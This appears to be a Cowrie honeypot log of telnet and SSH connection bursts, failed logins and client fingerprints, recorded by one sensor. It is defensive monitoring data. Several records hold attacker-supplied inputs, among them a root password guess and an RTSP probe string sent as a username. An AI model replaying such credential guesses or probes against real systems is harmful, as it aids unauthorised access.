{"eventid":"cowrie.session.closed","duration":0.08735299110412598,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:23.694715Z","src_ip":"34.22.246.86","session":"2a0b7be561c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":14690,"dst_ip":"10.17.0.5","dst_port":23,"session":"3719151a424a","protocol":"telnet","message":"New connection: 34.22.246.86:14690 (10.17.0.5:23) [session: 3719151a424a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:23.768061Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":14698,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c663a654bbe","protocol":"telnet","message":"New connection: 34.22.246.86:14698 (10.17.0.5:23) [session: 5c663a654bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:23.922059Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35262,"dst_ip":"10.17.0.5","dst_port":23,"session":"b84a1d5f390a","protocol":"telnet","message":"New connection: 34.22.246.86:35262 (10.17.0.5:23) [session: b84a1d5f390a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:24.077135Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35270,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b633694d383","protocol":"telnet","message":"New connection: 34.22.246.86:35270 (10.17.0.5:23) [session: 5b633694d383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:24.232611Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35278,"dst_ip":"10.17.0.5","dst_port":23,"session":"98254592d159","protocol":"telnet","message":"New connection: 34.22.246.86:35278 (10.17.0.5:23) [session: 98254592d159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:24.386374Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35292,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a4e315c95ee","protocol":"telnet","message":"New connection: 34.22.246.86:35292 (10.17.0.5:23) [session: 8a4e315c95ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:24.539745Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35308,"dst_ip":"10.17.0.5","dst_port":23,"session":"1409b1c47dd3","protocol":"telnet","message":"New connection: 34.22.246.86:35308 (10.17.0.5:23) [session: 1409b1c47dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:24.694791Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35318,"dst_ip":"10.17.0.5","dst_port":23,"session":"95a43c662d06","protocol":"telnet","message":"New connection: 34.22.246.86:35318 (10.17.0.5:23) [session: 95a43c662d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:24.849729Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35324,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba07403a0a77","protocol":"telnet","message":"New connection: 34.22.246.86:35324 (10.17.0.5:23) [session: ba07403a0a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:25.001998Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35334,"dst_ip":"10.17.0.5","dst_port":23,"session":"271d47095ce8","protocol":"telnet","message":"New connection: 34.22.246.86:35334 (10.17.0.5:23) [session: 271d47095ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:25.230904Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35338,"dst_ip":"10.17.0.5","dst_port":23,"session":"89011acbdcc7","protocol":"telnet","message":"New connection: 34.22.246.86:35338 (10.17.0.5:23) [session: 89011acbdcc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:25.386023Z"}
{"eventid":"cowrie.session.closed","duration":0.004141569137573242,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:25.390030Z","src_ip":"34.22.246.86","session":"89011acbdcc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35348,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3c5a3a079e2","protocol":"telnet","message":"New connection: 34.22.246.86:35348 (10.17.0.5:23) [session: b3c5a3a079e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:25.539652Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35352,"dst_ip":"10.17.0.5","dst_port":23,"session":"192f73567120","protocol":"telnet","message":"New connection: 34.22.246.86:35352 (10.17.0.5:23) [session: 192f73567120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:25.693582Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35368,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bc3509a3334","protocol":"telnet","message":"New connection: 34.22.246.86:35368 (10.17.0.5:23) [session: 5bc3509a3334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:25.848866Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35384,"dst_ip":"10.17.0.5","dst_port":23,"session":"e41c8ed46489","protocol":"telnet","message":"New connection: 34.22.246.86:35384 (10.17.0.5:23) [session: e41c8ed46489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:26.003590Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35388,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6161f0100cc","protocol":"telnet","message":"New connection: 34.22.246.86:35388 (10.17.0.5:23) [session: f6161f0100cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:26.158673Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35400,"dst_ip":"10.17.0.5","dst_port":23,"session":"92398df20d50","protocol":"telnet","message":"New connection: 34.22.246.86:35400 (10.17.0.5:23) [session: 92398df20d50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:26.314089Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35416,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ea5d254efca","protocol":"telnet","message":"New connection: 34.22.246.86:35416 (10.17.0.5:23) [session: 4ea5d254efca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:26.469479Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35430,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e9b1febff25","protocol":"telnet","message":"New connection: 34.22.246.86:35430 (10.17.0.5:23) [session: 9e9b1febff25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:26.624092Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35436,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a98f901396f","protocol":"telnet","message":"New connection: 34.22.246.86:35436 (10.17.0.5:23) [session: 7a98f901396f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:26.777536Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:26.788617Z","src_ip":"34.22.246.86","session":"7a98f901396f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35444,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccadb66ed261","protocol":"telnet","message":"New connection: 34.22.246.86:35444 (10.17.0.5:23) [session: ccadb66ed261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:26.941435Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35450,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca745ae8f74d","protocol":"telnet","message":"New connection: 34.22.246.86:35450 (10.17.0.5:23) [session: ca745ae8f74d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:27.095453Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35460,"dst_ip":"10.17.0.5","dst_port":23,"session":"f27c8b851fd4","protocol":"telnet","message":"New connection: 34.22.246.86:35460 (10.17.0.5:23) [session: f27c8b851fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:27.250153Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35466,"dst_ip":"10.17.0.5","dst_port":23,"session":"4056db3806ff","protocol":"telnet","message":"New connection: 34.22.246.86:35466 (10.17.0.5:23) [session: 4056db3806ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:27.405340Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35474,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f4bb0b5cb3f","protocol":"telnet","message":"New connection: 34.22.246.86:35474 (10.17.0.5:23) [session: 2f4bb0b5cb3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:27.560741Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35486,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ead8934528d","protocol":"telnet","message":"New connection: 34.22.246.86:35486 (10.17.0.5:23) [session: 3ead8934528d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:27.714563Z"}
{"eventid":"cowrie.session.closed","duration":0.004152059555053711,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:27.718617Z","src_ip":"34.22.246.86","session":"3ead8934528d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35494,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d803d584462","protocol":"telnet","message":"New connection: 34.22.246.86:35494 (10.17.0.5:23) [session: 5d803d584462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:27.869459Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35510,"dst_ip":"10.17.0.5","dst_port":23,"session":"fec1c4adb4e8","protocol":"telnet","message":"New connection: 34.22.246.86:35510 (10.17.0.5:23) [session: fec1c4adb4e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:28.023762Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 7553","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 7553] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:28.030997Z","src_ip":"34.22.246.86","session":"fec1c4adb4e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.246.86","src_port":35522,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff7a33725eed","protocol":"telnet","message":"New connection: 34.22.246.86:35522 (10.17.0.5:23) [session: ff7a33725eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:28.183680Z"}
{"eventid":"cowrie.session.closed","duration":0.003382444381713867,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:28.186959Z","src_ip":"34.22.246.86","session":"ff7a33725eed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.062405586242676,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:40.931751Z","src_ip":"34.22.246.86","session":"5d803d584462","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.913403987884521,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:40.937028Z","src_ip":"34.22.246.86","session":"fec1c4adb4e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.378857612609863,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:40.939457Z","src_ip":"34.22.246.86","session":"2f4bb0b5cb3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.692124843597412,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:40.942150Z","src_ip":"34.22.246.86","session":"f27c8b851fd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.53950572013855,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:40.944658Z","src_ip":"34.22.246.86","session":"4056db3806ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.851918697357178,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:40.947253Z","src_ip":"34.22.246.86","session":"ca745ae8f74d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.010498046875,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:40.951826Z","src_ip":"34.22.246.86","session":"ccadb66ed261","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.17800521850586,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:40.955395Z","src_ip":"34.22.246.86","session":"7a98f901396f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.334146499633789,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:40.958093Z","src_ip":"34.22.246.86","session":"9e9b1febff25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.49147367477417,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:40.960850Z","src_ip":"34.22.246.86","session":"4ea5d254efca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.810097932815552,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:40.968618Z","src_ip":"34.22.246.86","session":"f6161f0100cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.969846963882446,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:40.971358Z","src_ip":"34.22.246.86","session":"e41c8ed46489","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.660116195678711,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:40.974081Z","src_ip":"34.22.246.86","session":"92398df20d50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.284485101699829,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:40.977943Z","src_ip":"34.22.246.86","session":"192f73567120","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.13184118270874,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:40.980578Z","src_ip":"34.22.246.86","session":"5bc3509a3334","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.443676233291626,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:40.983215Z","src_ip":"34.22.246.86","session":"b3c5a3a079e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.755155563354492,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:40.985933Z","src_ip":"34.22.246.86","session":"271d47095ce8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.98648738861084,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:40.988357Z","src_ip":"34.22.246.86","session":"ba07403a0a77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.140878200531006,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:40.990499Z","src_ip":"34.22.246.86","session":"95a43c662d06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.298131227493286,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:40.992754Z","src_ip":"34.22.246.86","session":"1409b1c47dd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.54703426361084,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:40.995804Z","src_ip":"34.22.246.86","session":"311cb177ea95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.458820104599,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:40.998424Z","src_ip":"34.22.246.86","session":"8a4e315c95ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.61475658416748,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:41.001018Z","src_ip":"34.22.246.86","session":"98254592d159","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.770942449569702,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:41.003410Z","src_ip":"34.22.246.86","session":"5b633694d383","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.928969621658325,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:41.005968Z","src_ip":"34.22.246.86","session":"b84a1d5f390a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.08631658554077,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:41.008227Z","src_ip":"34.22.246.86","session":"5c663a654bbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.243091344833374,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:41.011012Z","src_ip":"34.22.246.86","session":"3719151a424a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:47.492190Z","src_ip":"8.210.75.243","session":"52755df4d670","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.20.137","src_port":42954,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf92318b7856","protocol":"ssh","message":"New connection: 162.240.20.137:42954 (10.17.0.5:22) [session: bf92318b7856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:57.902797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:57.905468Z","src_ip":"162.240.20.137","session":"bf92318b7856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:57.986977Z","src_ip":"162.240.20.137","session":"bf92318b7856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"VET$S3cur3@W0rd","message":"login attempt [root/VET$S3cur3@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:58.238629Z","src_ip":"162.240.20.137","session":"bf92318b7856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:02:59.323363Z","src_ip":"162.240.20.137","session":"bf92318b7856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":32968,"dst_ip":"10.17.0.5","dst_port":22,"session":"0efd95a4feb4","protocol":"ssh","message":"New connection: 8.210.75.243:32968 (10.17.0.5:22) [session: 0efd95a4feb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:00.865345Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43882,"dst_ip":"159.203.135.109","dst_port":23,"session":"019d440c1385","protocol":"telnet","message":"New connection: 170.64.224.25:43882 (159.203.135.109:23) [session: 019d440c1385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:03.233532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:04.145846Z","src_ip":"8.210.75.243","session":"0efd95a4feb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:04.148795Z","src_ip":"8.210.75.243","session":"0efd95a4feb4","protocol":"ssh"}
